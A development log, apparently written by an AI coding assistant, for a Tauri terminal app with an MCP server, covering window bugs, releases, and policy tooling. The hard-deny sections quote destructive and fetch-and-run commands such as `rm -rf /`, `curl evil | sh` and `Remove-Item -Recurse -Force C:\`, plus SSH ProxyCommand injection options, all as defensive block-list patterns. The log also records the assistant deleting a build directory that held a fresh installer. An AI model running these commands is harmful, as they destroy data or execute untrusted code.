- **Session-loss-on-adopt (surfaced after B2B5 cleared) = destructive read × StrictMode.** Once IPC worked, drag-out still spawned a FRESH pty (new id, tab named "Default", status `alive` not `adopted`) instead of adopting. Cause: `take_pending_window_init` is a **destructive** backend read (`by_label.remove`); React StrictMode runs the mount effect twice in dev — pass 1 consumed the payload then bailed on the `cancelled` flag, pass 2 got `null` → fell back to `singletonEnvelope` (fresh "Default" + fresh spawn). The `cancelled`-flag pattern guards against *using* stale async results but cannot un-consume a destructive backend call. Fix: module-level memoized `consumePendingWindowInit()` in App.tsx so the take fires **exactly once per window** and both StrictMode passes share the payload. Dev-only symptom (prod StrictMode doesn't double-invoke effects) but fixed for robustness. **Lesson: any destructive/once-only backend read called from a mount effect must be memoized at module scope, not just guarded by `cancelled`.**
- **Verified:** user confirmed adopt works (scrollback intact, same pane id, live input). `tsc -b` clean.
- Committed (`bea6cf2`) together with the carried-over `use tauri::Manager;` lib.rs import.
**Follow-on fixes same session (commit after `bea6cf2`):**
- **B1 drag ghost (done).** Cursor-following chip via `createPortal` in LeafPane, `pointer-events:none` so it doesn't disturb the `elementFromPoint` drop-target hit-test. Turns orange "↗ New window" past the 60px edge margin. A webview **can't paint outside its own OS window**, so the chip is clamped to the viewport edge and flips to the cursor's inner side near right/bottom rather than vanishing — that's the best achievable; a ghost floating over the desktop is impossible. Hoisted `PANE_DRAG_OUT_MARGIN` + `isFarOutsideViewport()` to module scope so move-handler (preview) and up-handler (release) can't drift.
- **Drag-out "PTY not ready" (mitigated).** `moveToNewWindow` now `await waitForPaneRegistration(leafId, 5000)` instead of failing instantly when the id isn't registered yet — covers the race where a just-spawned/just-adopted pane is dragged before its async spawn round-trip registers. Resolves instantly if already registered.
- **Tab accumulation (root-caused + fixed).** The cross-window save aggregator (`window_state.rs::build_envelope`) concatenated EVERY window's workspaces into the saved file; on launch main loaded the whole blob and adopted it as its own tabs, then re-saved under "main" → unbounded growth (hit 14 tabs incl. `Pane 28`/`Pane 38` drag-out artifacts + piles of `Default` from pre-fix detached boots). Fix: `build_envelope` persists **only `MAIN_WINDOW_LABEL`'s** workspaces — detached windows are ephemeral by design (discarded on close), so they're now structurally unable to pollute the file. **Reset the corrupted `workspace.json`** (backed up to `workspace.json.corrupt-backup` in app config dir, then deleted; main reboots a clean single Default). Detached windows still `push_window_workspaces` (harmless; backend just ignores non-main for persistence).
- **Can't close tabs (fixed).** Tab strip is `overflow-x:auto`, which per spec coerces `overflow-y` to auto too → the in-strip absolutely-positioned close-confirm popover got clipped once enough tabs forced horizontal scroll. Fix: `createPortal` the confirm to `<body>`, `position:fixed`, fixed `width:300px` (matches `CONFIRM_POPOVER_WIDTH` const in TabStrip.tsx), right-aligned to the × button then **clamped into the viewport** so a left-side tab doesn't run off the left edge.
- **Native scrollbars (fixed).** `::-webkit-scrollbar` theming was scoped to `.xterm-viewport` only; made it global (`*::-webkit-scrollbar` + `* { scrollbar-width/color }`) so the tab strip / panels / menus match the dark theme.
- **Capability fix recap:** `default.json` `"windows": ["main", "pane-window-*"]` — the load-bearing fix for the whole detached-window feature (B2B5). Confirmed: app-defined Tauri commands aren't individually permission-gated; they're available to any window the capability is *applied* to (listed in `windows`).
**Pre-release audit (2026-05-28, 3-agent fan-out) — findings + dispositions:**
- **(FIXED, medium) XtermPane IPC listener leak on unmount-during-await.** After `unlistenData = await onPaneData(...)` / `unlistenExit = await onPaneExit(...)` there was no `destroyed` re-check, so if the pane unmounted during the await (StrictMode, fast moveToNewWindow/closeTab) the sync cleanup had already captured a null unlisten and the `pane://{id}/data`/exit subscription leaked. Added `if (destroyed) { unlistenData?.(); unlistenExit?.(); return; }` after each assignment in both adopt and spawn paths.
- **(DEFERRED, high — known low-risk) Transferred-PTY/refcount leak if a detached window closes mid-adopt.** `mark_pane_transferring` bumps a refcount that suppresses `kill`; only `claim_pane` (from the target XtermPane mount) drops it. The `CloseRequested` handler (lib.rs:74) forgets workspaces + pending-init but never releases the refcount or kills the pane → if the window closes before adopt's `claim_pane`, that PTY + reader thread leak for the app lifetime. **In practice very low-probability**: adopt of a transferred pane is near-instant (paneId known synchronously, no spawn wait), so `claim` runs within ms of mount — by the time a user sees and closes the window, it's already claimed. User chose ship-now. **Proper fix when revisited:** keep a `label→paneId` "adopting" registry (set when `take_pending_window_init` consumes the payload, cleared by `claim_pane`), and have the close handler force-kill (drop refcount + kill) any still-unclaimed paneId for the closing label. The unconsumed-pending-init subset can be handled more cheaply (close handler already has the PendingInit.pane_id when the entry is still present).
- **(NOT FIXING, low) waitForPaneRegistration doesn't settle on early unmount** — `registerPaneId(leafId, null)` doesn't reject a pending waiter, so moveToNewWindow/MCP-spawn stalls until the timeout instead of failing fast. Functionally safe (timeout fires).
- tabs/LeafPane/TabStrip reviewer: no findings.
2. `pnpm tauri dev` — smoke test:
- Existing workspace loads as one tab named "Default" ✓ migrate
- Ctrl+T spawns new tab with default-shell pane
- Switch tabs while a `sleep 60` is running in another tab — countdown continues
- Right-click any pane → "Move to new window" → new window appears with the pane, PTY content visible (ring replay)
- Resize new window → `tput cols` in the moved pane shows new dims
- Close new window → reopen the app → those tabs should NOT come back (the close-discards-tabs Chrome behavior)
- With MCP running, `list_panes` from Claude only sees main's current tab
**Known follow-ups specific to this session** (none ship-blocking; all v0.4.0+ territory):
- **Per-tab MCP visibility.** Today Claude only sees main's current tab; switching tabs in main changes Claude's view mid-conversation. Could expose `list_workspaces()` + `switch_workspace(id)` MCP tools. Defer until requested.
- **Window position persistence across restart.** User chose "tabs persist, not windows" in the design Q&A so this is by design, but if a power user ever wants restored window geometry, the `WindowsState` map already has the structure to track it; just add inner_size/outer_position to the per-window entry.
- **Drag-out across monitors with mismatched DPI.** Tauri 2's `outerPosition()` is physical px while `clientX/Y` is CSS px. My implementation only uses clientX/Y (no async query at drag start), so multi-monitor drag works as long as the user releases far enough from the source window's edge. New window appears at the OS default position; user manually drags it to the target monitor. Acceptable v1.
- **Drag a pane INTO an existing other window.** Only NEW-window drag in v1. Adding "drag to existing window" needs cross-window pointer-event coordination (Tauri 2 doesn't expose this). Defer.
- **Reattach window to an existing window** (user request 2026-05-28). The inverse of drag-out: take a detached window's pane(s) and merge them back into another open window as new tab(s) or splits, then close the now-empty source window. Same hard problem as the pane-into-window item above — Tauri 2 doesn't expose cross-window pointer drag, so this likely needs a non-drag affordance instead: e.g. a "Send to window ▸ <pick target>" entry in the pane toolbar right-click menu (reuses the existing PTY-transfer path — `mark_pane_transferring` → target adopts via `existingPaneId`/`claim_pane` — just targeting an existing window's label instead of `create_pane_window`). Needs a live window/label registry the menu can list. Defer.
- **CLAUDE.md still says Svelte 5** (called out in 5+ session logs now). Bump it next time someone touches the file.
### 2026-05-26 — **v0.3.0 shipped to Forgejo releases**
Cut after a marathon session that took MCP from read-only v1 → full write surface + policy engine + audit + safeguards + .mcpb bundle. Tag `v0.3.0`, both `tiletopia_0.3.0_x64-setup.exe` and `tiletopia.mcpb` attached.
**Release-time hiccups** (all fixed in subsequent commits — read these before the next release):
- `pnpm tauri build` failed type-check on a `a.spec!.hostId` non-null assertion that drops the `kind === "ssh"` narrowing inside a `hosts.find` closure. `pnpm check` ran `tsc --noEmit` which had been silently missing the bug; `tsc -b` (what `pnpm build` uses) caught it. Fixed the line + switched the check script to `tsc -b` (both project-reference tsconfigs already have `noEmit: true`, so no emission). Commits `e1ceaab`, `7e285b2`.
- After the Windows build I ran `rm -rf src-tauri/target` from WSL to clear tsc cache — wiped the cargo target dir *including the freshly-built installer*. /mnt/d/ is the real Windows filesystem. Lesson: `src-tauri/target/` is cargo's output dir, NOT just tsc cache; do not touch without rebuild plan. The user rebuilt; cost a single `pnpm tauri build` cycle.
- `pnpm run build:mcpb` from `release.sh` hung indefinitely when run from WSL — pnpm auto-runs `pnpm install` first, which walks `node_modules` across the /mnt/d/ filesystem boundary and stalls for minutes. The bundle script is pure Node + fs, no deps to install. Switched release.sh to call `node scripts/build-mcpb.mjs` directly. Commit `1db8b26`.
- `Cargo.lock` needed committing separately after the version bump (cargo updated it during `pnpm tauri build`). Worth doing the version bump + `cargo check` together next time so the lock-file change is atomic with the version commit.
**For the next release:**
1. Bump version in `package.json` + `src-tauri/Cargo.toml` + `src-tauri/tauri.conf.json`
2. Run `cargo check` (or any cargo command) to update `Cargo.lock`
3. Commit all four files + push
4. `pnpm tauri build` on Windows
5. `./scripts/release.sh vX.Y.Z` from WSL
6. Edit the auto-generated release note on Forgejo with a proper changelog
### 2026-05-26 — Clear cargo warnings: drop v2.1 classifier scaffold, annotate rmcp tool_router
Four pre-existing dead-code warnings out of every cargo build. Three were the v2.1 classifier scaffold sitting unused in `mcp_policy.rs` (`ClassifierHint` enum, `PolicyClassifier` trait, `NoopClassifier` struct + impl). Deleted — the scaffold being unused for weeks was a stronger "no plan" signal than its presence was a "TODO" signal. If we actually want classifier upgrade-on-Ask later (v0.4.0 candidate), trivial to re-add; the design questions (Anthropic vs Ollama, API key UX, monthly cost cap, privacy disclosure) need a focused session.
Fourth warning was rmcp's `#[tool_router]` macro generating internal references to a `tool_router: ToolRouter<Self>` field on `TileService` that rustc's dead-code pass can't see through. Added `#[allow(dead_code)]` to the field with a comment explaining why.
`cargo build` is now clean (modulo any new bugs).
Open follow-up: v0.4.0 classifier ([[v2.1-classifier]]). Design notes for that session — pick Haiku 4.5 via Anthropic API as default; API key in Windows Credential Manager (matches SSH password storage, doesn't sync); 60s cache by `(tool, args_repr)`; classifier can only upgrade Ask → Allow, never downgrade.
### 2026-05-26 — Backed out idle "claude foreground" filter (kept legacy 5s notify)
Shipped earlier today as per-distro, pivoted to per-pane via `TILETOPIA_PANE_ID` env marker, then a probe-script bug surfaced (positional args dropped by `wsl.exe -- bash -c "..." _ <id>`). Fixed the arg-passing by inlining values, but on real-app test the pane still showed idle while claude was running — and at that point the user (rightly) called credit waste and asked to back the whole feature out.
**Reverted commits** (in one combined revert):
- `9931a92` — inline pane_id / watch list into script (drop positional args)
- `6772b8d` — pivot per-distro → per-pane via TILETOPIA_PANE_ID env marker
- `f51033a` — original per-distro idle filter
Now back to "every pane goes idle after 5s of silence" — the behaviour that worked before today's fan-out attempt. The `[[user-watch-list]]` marker in the open-questions section is removed; the original idle-filter TODO is restored.
**Lessons for if/when we attempt this again:**
- The per-distro design fundamentally doesn't fit tiletopia (CLAUDE.md: "manage multiple claude sessions across projects in parallel"). Don't ship per-distro again.
- Per-pane via env-var marker is the right shape, BUT the probe still didn't work end-to-end in the real app even after the inline-args fix. The `pgrep` exit + `/proc/<pid>/environ` reads worked in isolation (verified manually from PowerShell) — something about how tiletopia's `wsl.exe` spawn differs from a manual invocation. Could be: stdin handling, working directory, environment context. Worth a from-scratch design rather than another fix-on-fix iteration.
- If we retry, prove the probe end-to-end against the running app FIRST (e.g. add a temporary "Test probe" button in the MCP panel that calls the Tauri command and shows the result) before wiring it into the idle effect. Validates the whole IPC path without the timing complications of the idle tick.
Restored the original idle-filter open question in the TODO section.
### 2026-05-26 — README shortcut table now generated from `shortcuts.ts`
The keyboard-shortcut table in README and the in-app help overlay used to be hand-mirrored copies maintained by "keep in sync" comments. They drifted (most recently the navigation/font-size entries diverged). Now `src/lib/shortcuts.ts` is the single source of truth and README's section is generated from it.
**Marker shape:** plain HTML comments — `<!-- SHORTCUTS:START -->` and `<!-- SHORTCUTS:END -->`. Markdown viewers render them as nothing (zero visual noise); the generator finds them by literal string match. They live under the new `### Shortcuts and tips` heading in `Using it`, with explanatory prose + a footer pointer below for readers who reach for the file.
**Script:** `scripts/gen-readme-shortcuts.mjs`. Sibling to `pr4-verify.mjs` / `release.sh` / `make-icon.py`. Plain Node + `fs` only — no tsx/esbuild dep. Trick: shortcuts.ts is pure data (no React, no value imports), so the script reads it as text, strips `export interface { ... }` blocks with a brace-walker, drops the `: SomeType[]` annotations on the `export const` declarations, writes the result to a temp `.mjs` file in `os.tmpdir()`, and dynamic-imports it. Cleaner than a regex parser of the array literal because any future shape change in shortcuts.ts (adding a new field, reshuffling sections) Just Works.
**Render style:** mirrors the existing README table — `| Key | Action |` two-column, keys backticked. The TS data is grouped by section, so each section gets a `**Title**` subheading + its own table. TIPS render as a `**Title** — body` bulleted list. Pipes in cell text are escaped to `\|`; newlines collapse to spaces.
**Pnpm script:** `pnpm gen:readme`. Also supports `--check` mode (`node scripts/gen-readme-shortcuts.mjs --check`) which exits 1 if the README would change — wire it into CI later if drift starts mattering again.
**To add or change a shortcut/tip:** edit `src/lib/shortcuts.ts`, run `pnpm gen:readme`. The help overlay updates automatically (it already imports from there); the README marker block updates from the same source. Don't hand-edit anything between the marker comments — your changes will be wiped on the next regen.
**Verified:** ran twice, second run reports "already up to date" with empty `git diff`. `pnpm check` clean (tsc --noEmit, exit 0).
### 2026-05-26 — `.mcpb` Claude Desktop bundle (zero-config token handling)
Long-standing follow-up shipped. Build script + tiny Node wrapper produce `dist-mcpb/tiletopia.mcpb` — a one-click Claude Desktop install replacing the hand-paste of `.mcp.json`.
**Key design choice — per-install token handling.** The `.mcpb` spec offers two ways to handle credentials: `user_config` prompts at install time (copy-paste), or bake them in (wrong). Both lose: copy-paste defeats the whole point of one-click, and token rotation (the Regenerate button) would silently invalidate any saved `user_config` value. Picked a **third option not in the spec docs**: bundle a tiny Node wrapper as `entry_point` that reads `%APPDATA%\com.megaproxy.tiletopia\mcp.json` at launch and execs `npx -y mcp-remote ...` with the live token. Zero secrets in the bundle → safe to publish on the releases page; works for any tiletopia install; transparently picks up the new token after Regenerate without the user re-doing anything.
**Bundle shape (`scripts/build-mcpb.mjs`):**
- `manifest.json``type: "node"`, `entry_point: "server/index.mjs"`, `mcp_config: { command: "node", args: ["${__dirname}/server/index.mjs"] }`, version mirrors `package.json`, icon points at the 128×128 brand PNG.
- `server/index.mjs` — the wrapper. Reads `mcp.json`, validates port + token, spawns `npx -y mcp-remote http://127.0.0.1:<port>/mcp --allow-http --header "Authorization: Bearer <token>"` with `stdio: "inherit"`, forwards SIGINT/SIGTERM/SIGHUP to clean up the child on extension disable.
- `icon.png` — copy of `src-tauri/icons/128x128.png`.
**Build path.** `pnpm run build:mcpb``dist-mcpb/tiletopia.mcpb` (gitignored). Pure-Node store-only ZIP writer (~70 lines, no `archiver`/`jszip` devDep). Validated end-to-end with Python `zipfile`: 3 entries, valid CRCs, manifest parses. ~9 KB output.
**Distribution.** The script is committed; the artifact isn't (regenerable). The intent is to attach `tiletopia.mcpb` to each Forgejo release alongside the NSIS installer — `scripts/release.sh` doesn't do this yet (follow-up). The new "Download .mcpb" button in `McpPanel` opens the releases page; once the artifact is up there, users grab it from there.
**UI changes.**
- `McpPanel.tsx`: new "Claude Desktop (one-click install)" field above the .mcp.json snippet with a "Download .mcpb" button (opens the releases URL via `plugin-opener`) and a brief hint explaining zero-config token handling + the regen script. Styled in `McpPanel.css` (`.mcp-mcpb-row`, `.mcp-mcpb-btn`, `.mcp-mcpb-hint`).
- `McpPanel.css`: also added an explicit `.mcp-hint` style that was previously inheriting (used by both the token hint and the .mcpb hint).
- `shortcuts.ts`: MCP tip now leads with the `.mcpb` install path; the mcp-remote shim is described as the fallback for Claude Code (the terminal CLI, which doesn't accept `.mcpb` yet).
- `README.md`: same restructure under the MCP section — Claude Desktop install via `.mcpb` first, Claude Code via mcp-remote second.
**Why no in-app file save dialog?** I considered bundling the `.mcpb` inside the Tauri NSIS as a Rust resource + exposing a `download_mcpb` Tauri command that opens a save dialog. Would let the panel button work fully in-app. Rejected because (a) it'd require Rust changes which I can't compile-check in WSL, (b) it duplicates what releases do for free, and (c) "Download .mcpb" landing on the releases page is the more discoverable distribution flow long-term.
**Confirmed: bundle contains zero secrets.** Scanned both `manifest.json` and `server/index.mjs` for `Bearer ey`, `token=`, `secret`, `password`, `api_key` — all clean. The wrapper reads the token from `%APPDATA%` at runtime on the *user's* machine; nothing is ever baked in.
**`pnpm check` clean, vitest 72/72 passing.**
Open follow-ups specific to this session:
- **Wire `.mcpb` into the release.** `scripts/release.sh` currently uploads only the NSIS installer; it should also run `node scripts/build-mcpb.mjs` and attach the resulting `dist-mcpb/tiletopia.mcpb` to the Forgejo release. Two lines + one `tea releases create --asset` flag. Until that's done, the "Download .mcpb" button lands on a releases page where the asset doesn't exist yet for old tags.
- **Direct in-app save flow.** If we ever want fully-offline install (no roundtrip through the web), add a Rust-side `download_mcpb` command that returns the bundled bytes + use `@tauri-apps/plugin-dialog` save() in the panel. Not blocking — current flow is sufficient and matches how Tauri apps usually distribute extension files.
- **Pre-flight on the wrapper.** Could detect missing `npx` / Node 18+ and emit a more directed message. Currently we just let `spawn` fail with whatever Node says. The "make sure Node 18+ is installed and `npx` is on PATH" line in the error path is the band-aid.
- **`.mcpb` for Claude Code (CLI).** Claude Code doesn't accept `.mcpb` bundles yet — Anthropic may add it. When they do, the same bundle should Just Work since the wrapper is platform-agnostic re: which Claude is calling it.
- **Bundle compatibility field.** Manifest declares `platforms: ["win32"]` and `runtimes: { node: ">=18.0.0" }`. The wrapper has a hard `%APPDATA%` requirement so this is correct, but if anyone ever wants macOS / Linux tiletopia support, the wrapper needs a portable config-path lookup.
### 2026-05-26 — Hard-deny: PowerShell patterns + label list de-duplicated
Mirrors the POSIX hard-deny rules with their Windows/PowerShell equivalents. Four new patterns:
1. **`Remove-Item` / `del` / `rd` / `ri` / `rm` / `erase` / `rmdir` targeting `C:\` / `~` / `$HOME` / `$env:USERPROFILE` / `$env:APPDATA`.** Covers the canonical `Remove-Item -Recurse -Force C:\` along with bare `del C:\` and `rd /S /Q ~`. PS aliases vary per environment so the alternation is wide.
2. **`Format-Volume` / `Clear-Disk` with any flag.** Bare cmdlet mentions (e.g. `Get-Help Format-Volume`) are fine; presence of `-DriveLetter` / `-Number` / similar means an actual invocation.
3. **`iwr|iex` pipe form** — `Invoke-WebRequest`/`Invoke-RestMethod`/`iwr`/`irm`/`curl.exe` piped into `Invoke-Expression`/`iex`. The PS web-to-execute primitive. (`curl` in PS land is an alias for `Invoke-WebRequest` which doesn't pipe-string into anything bash-like; the actual `curl.exe` binary does, hence the literal `curl\.exe`.)
4. **`iex (irm ...)` parenthesized form.** More common than the pipe form in real install one-liners.
**Universal application — no shell-aware policy scoping yet.** PS cmdlet names (`Remove-Item`, `Format-Volume`, `iwr`, `iex`) are distinctive enough that a bash session triggering one is virtually impossible. The "scope rules by `shellKind` of the target pane" work is a known follow-up but doesn't block this.
**Label list de-duplicated.** `PolicyTab.tsx` previously hardcoded the 10 POSIX labels. Adding PS rules would have forced updating both sides — and the comment in the new `mcp_hard_deny_labels` Tauri command notes it had already drifted from the backend twice this week. Now: backend is the SoT, frontend calls `mcpHardDenyLabels()` at panel mount. "Always blocked" section now renders all 14 labels live from the backend.
**Tests:** 20 new fuzz cases (Rule 1114), 3-5 positive + 1-2 negative each. `hard_deny_rules_count` bumped from 10 → 14. **138 passed; 0 failed** on Windows.
**Notes for next time someone adds a hard-deny pattern:**
- Update only `HARD_DENY_PATTERNS` and `hard_deny_rules_count`. The UI list auto-syncs via the Tauri command. README's mention of "10 patterns" is now also drift-prone but lower-stakes.
- PowerShell cmdlets are identified with `-` in the middle (`Remove-Item`). `\bRemove-Item\b` works because the `\b` anchors are between word and non-word chars (R/string-start, m/non-word-after) — the `-` in the middle is fine.
- Common PS quoting forms not yet caught (filed as follow-up if it bites): single-quoted paths (`Remove-Item -Recurse -Force 'C:\'`) and trailing flags after the path (`Remove-Item -Recurse -Force C:\ -Confirm:$false`). The regex anchor requires path → whitespace → end/operator/comment; flag-after-path doesn't fit. Common attacker copy-paste forms put the path last, so this is real-world-fine.
Open follow-ups specific to this session:
- **Shell-aware policy scoping.** Today PS rules apply universally (low false-positive risk but architecturally fuzzy). Per-leaf-shellKind discrimination would let users `Allow write_pane(*) on bash` while still gating PS. Memory'd long-standing follow-up.
- **README drift.** README's "10 hard-deny patterns" mention is stale. Either remove the count or rewrite to enumerate via a build-time script. Low priority.
### 2026-05-26 — Hard-deny rework: fix latent enforcement gaps surfaced by PR-4
Re-enabling the policy test module in PR-4 (the `policy_with` compile fix) exposed **16 pre-existing test failures**. Triaged: 2 wrong assertions, 14 real bugs. Fixed all in one focused pass on `mcp_policy.rs`.
**Two-pass `is_hard_denied`.** The subcommand splitter (split on `&& || ; | |& & \n`) was destroying patterns whose *meaning* requires them to span operators — fork bomb (`:|:&`) and curl-piped-to-shell (`curl ... | bash`) being the obvious examples. Result: 9 of the 10 advertised hard-deny rules quietly didn't enforce against the patterns the UI listed. New shape:
1. **Whole-input pass first** — every regex tried against the un-split command. Wins fork bomb, curl|bash, anything else that *needs* its `|`/`&` to match.
2. **Per-subcommand pass second** — preserves the original behaviour of catching `safe_cmd && rm -rf /` after splitting. Order matters; the whole-input check is fast (compiled regex, small inputs in practice), and a whole-input hit short-circuits before splitting.
This is the load-bearing fix. The regex tweaks below are individually small but each closes a specific bypass.
**Regex fixes:**
- **Rule 1/2 flag class:** `[a-z]*r[a-z]*f?``[a-zA-Z]*[rR][a-zA-Z]*f?`. Catches `rm -Rf /` (uppercase R), which previously slipped through. Same change applied to rule 2 (`rm -rf ~ / $HOME`).
- **Rule 1/2 trailing anchor:** `($|[;&|])``($|[#;&|])`. `rm -rf / # cleanup` now triggers; previously the `#` confused the anchor and the regex bailed.
- **Rule 8 shell alternation:** `(ba?sh|zsh)``(ba?sh|zsh|sh)`. The leading `b` in `ba?sh` was mandatory, so `curl evil | sh` (the most common form of these install scripts) was *not* caught. Adding `sh` to the alternation catches the bare POSIX shell. Verified order-dependency: at the position after `\s*(sudo\s+)?`, the engine tries `ba?sh` first, then `zsh`, then `sh`; nothing in `dash`/`ash`/whatever starts with `s` then `h` at the right offset, so no over-match.
- **Rule 9 anchor:** `\bchmod\s+-R\s+777\s+/``\bchmod\s+-R\s+777\s+/(\s|$|[#;&|])`. The old regex matched any `/` (including `/tmp`); the new one requires the `/` to be followed by a path boundary, end of input, or a shell operator. `chmod -R 777 /tmp` now correctly does NOT trip the rule (the desired behaviour — destructive but a deliberate user choice, not "destroy the system").
**Two test assertions flipped from `Some` to `None`** (`hard_deny_quoted_pattern_not_matched`, `hard_deny_git_grep_contains_pattern`). The originals expected false-positives on `echo "rm -rf /"` and `git log --grep="rm -rf"`. The post-fix behaviour (NOT flagging these) is correct: searching for or printing a danger string is not the same as invoking it, and false-positives here would make a lot of `claude` advice unusable. The tests now document this with a comment.
**Result: 118 passed; 0 failed.** All my new sanitiser tests (PR-4) + all the previously-broken hard-deny tests + the 70+ that were already passing.
**Things to verify next time someone touches hard-deny:**
- If a new rule's pattern is intrinsically multi-operator (think `kill -9 -1`, `dd | gzip > device`), make sure whole-input matching covers it — don't rely on the subcommand pass.
- If a new rule's pattern targets a path, anchor with `\s|$|[#;&|]` after the trailing `/` (rule 9 style) to avoid over-matching `/tmp` etc.
- Flag character classes for case-insensitive Unix tools: `[a-zA-Z]`, not `[a-z]`.
- Trailing-comment anchor: include `#` in the post-pattern character class.
Open follow-ups specific to this session:
- **Multi-pipe-to-shell** like `curl url | grep -v foo | bash` is still not caught — `[^|]*\|` only spans one pipe. Probably fine for v2; if it bites, broaden to `[^|]*(\|[^|]*)*\|\s*...` or add a second-pass that detects "any output of curl/wget reaches a shell anywhere downstream".
- **PowerShell hard-deny patterns** (carried over from PR-3/PR-4 lists). The 10 baked-in rules remain POSIX-only.
- **Audit-log persistence** (carried over).
### 2026-05-26 — MCP v2 PR-4: `add_host` + `delete_host` + extraArgs sanitiser + third SSH safeguard
Final v2 PR. All 11 planned MCP write tools now live. Mechanically the same dispatcher shape as the other tree-shape tools; the novel bits are the **extraArgs sanitiser** and the **third SSH-safeguard switch**.
**Sanitiser (`hosts::sanitize_extra_args`).** Rejects four `-o KEY=...` keys that are local-RCE primitives at ssh-invocation time, before the connection is even attempted:
1. `ProxyCommand=…` — runs a shell command on connect.
2. `LocalCommand=…` — runs a shell command on connect (when `PermitLocalCommand=yes`).
3. `KnownHostsCommand=…` — runs a shell command at handshake (CVE-2023-51385 class).
4. `PermitLocalCommand=yes` — unlocks LocalCommand even if not set in this snippet. (`=no` and unset are fine.)
Recognises both two-arg form (`-o KEY=VAL`) and joined form (`-oKEY=VAL`), case-insensitive on the key, equals-or-space between key and value. Returns `Err(reason)` with the offending arg + a human-readable why. 19 fuzz tests cover positive + lookalike-negative cases (e.g. `-o ServerAliveInterval=30` passes; `-o proxycommand=evil` fails; bad arg in the middle of a long list fails). **Only the MCP `add_host` path runs this** — manual host management via the titlebar 🔑 picker stays unrestricted, matching the "user has full agency" stance.
**Third SSH safeguard: `allowAddHost`** (default off). Gates both `add_host` and `delete_host` with the same `add-host-disabled` server-side error pattern as the existing `allowOpenSsh` gate. Bundled both tools under one switch for simplicity — `delete_host` is destructive but it's the natural symmetric companion to `add_host`. UI is a third checkbox in the SSH safeguards section; unlike `autoAllowSpawnedSsh`, this one isn't disabled-when-X (you can let Claude manage hosts without letting it open them, or vice versa).
**Both tools are thin dispatcher wrappers**, following the PR-2/PR-3 pattern exactly: arg struct → safeguard gate → in-process validation → `dispatch_action` with stable `args_repr` → frontend `runMcpHandler` case + `buildConfirmInfo` case. `add_host` runs `pty::validate_ssh_token` on hostname/user/jumpHost (made `pub` for cross-module use; same logic ssh-spawn would do anyway, just rejected earlier with a clearer error) plus the sanitiser on extraArgs. `delete_host` looks the host up in `state.mirror.hosts` so Claude can't probe arbitrary ids, and relies on `save_ssh_hosts`' existing orphan-credential sweep to clean up the keyring entry.
**Backend host_id is generated frontend-side** in the handler (via the same `newId()` helper HostManager uses → `crypto.randomUUID()` shape). Backend doesn't pre-generate one because the dispatcher contract is "MCP call → emit request → frontend mutates + resolves" — generating the id on whichever side actually performs the mutation keeps responsibility clean.
**Pre-existing bug fixed as a prerequisite:** `mcp_policy.rs`'s `policy_with` test helper was constructing `McpPolicy` without the `ssh_safeguards` field (added in PR-3.5). That made the entire `tests` mod fail to compile, silently breaking all 30+ policy unit tests since 2026-05-26 morning. Added `ssh_safeguards: SshSafeguards::default()` as one-liner; tests should compile again.
**Module headers + `with_instructions` updated** to call out the new 11-tool surface, `add_host`'s extraArgs sanitiser, and the `add-host-disabled` error string Claude needs to recognise. Always keep these in sync when adding tools — Claude reads `with_instructions` for routing decisions.
Open follow-ups specific to this session:
- **Verify on Windows.** PR-4 was authored in WSL; `pnpm check` is clean but Rust build/tests live on the Windows host. User to `cd D:\dev\tiletopia && cargo test -p tiletopia_lib` (or the equivalent) before merging, especially to confirm the 19 new sanitiser tests + the policy_with fix.
- **End-to-end test with Claude.** Suggested smoke: toggle the new `allowAddHost` switch on; ask Claude to `add_host` with hostname `example.com`, then `connect_host` to it (which still needs `allowOpenSsh`), then `delete_host`. With all three switches off, `add_host` should refuse cleanly with `add-host-disabled`.
- **Race in concurrent `add_host` calls.** Frontend reads `hosts` from the closure, builds `next = [...hosts, newHost]`, calls `setHosts(next)` (non-functional updater). If Claude burst-fires two add_host calls and the second runs before React commits the first, the second's `next` drops the first. Pre-existing pattern (`saveHosts` in App.tsx:466 does the same), and in practice the confirm-modal queue serialises calls — but `Always allow add_host` users would race. Convert to `setHosts(prev => …)` + extract the saved snapshot if it ever bites.
- **Sanitiser scope expansions to consider:** `-F <path>` lets the user point ssh at a custom config file that could contain ProxyCommand. Currently allowed. Tightening this means rejecting any caller-controlled config file. Out of scope for v2 — `add_host` doesn't expose a flag for it, and saved hosts are user-edited.
- **PowerShell hard-deny patterns** still POSIX-only (carried over from PR-3 list).
- **Per-leaf-shellKind policy scoping** still wanted (carried over).
- **CLAUDE.md still says Svelte 5** (still not fixed; called out in 4 session logs now).
### 2026-05-26 — MCP v2 PR-3 + PR-3.5: powerful writes + SSH safeguards + host-manager Connect button
Commits `bf2810a` (PR-3 + PR-3.5) and `6da7523` (polish bundle). 8 of 9 planned v2 tools are now live — only `add_host` (PR-4) remains.
**PR-3 added the three highest-power tools:** `write_pane`, `spawn_pane`, `connect_host`.
- **`write_pane`** sends keystrokes to a pane's PTY. `args_repr` is the decoded text itself (not a summary) so the hard-deny matcher and user-policy globs evaluate against the exact bytes Claude wants to send. **Per-pane token bucket rate limiter**: 30 calls capacity + 3/s refill, sized so a sustained loop trips it within ~2s while normal use never hits it. Rate-limited calls don't emit audit rows (would just spam during an attack); they get a `tracing::warn!`. Frontend `truncateForSummary` caps text shown in the modal + audit row to ~60 chars and escapes control chars, so a pasted token doesn't echo verbatim into the UI.
- **`spawn_pane`** + **`connect_host`** required a new architectural piece: a **spawn-completion oneshot chain** in App.tsx. Backend MCP tools that mutate the tree can't reply until the new pane has been registered with a PaneId — and that only happens after React mounts XtermPane and the Tauri `spawn_pane` command returns. New `pendingPaneRegistrations` Map<NodeId, resolve_fn>; `registerPaneId` fires waiters; `waitForPaneRegistration(leafId, timeoutMs)` returns a Promise the handler awaits. 15s timeout for WSL (covers cold distro start), 30s for SSH (covers handshake + auth), 60s outer cap in `dispatch_action` as a fail-safe.
- New tree helper `splitLeafWith(root, parentId, orient, leaf)` — like `splitLeaf` but takes a caller-built `LeafNode` with a pre-generated id instead of minting one inside. The handler needs the id up front so it can register a waiter for it before setTree commits.
- **SSH-extra confirm modal**`McpConfirmSpec` carries an optional `ssh: {hostLabel}` context; when set, the modal renders a red warning banner explaining that pattern matching only sees the bytes we send (the remote shell expands aliases/subshells before executing) and the hard-deny still applies but this is best-effort. Detection lives in `buildConfirmInfo` (renamed from `buildConfirmSummary`).
**PR-3.5 — SSH safeguards.** Two new switches on `McpPolicy.sshSafeguards`, both default off (safest):
- `allowOpenSsh` — when off, `connect_host` and `spawn_pane(kind=ssh)` refuse server-side with a clear `ssh-disabled:` message pointing at the Policy tab. User opens SSH manually via the titlebar 🔑 picker.
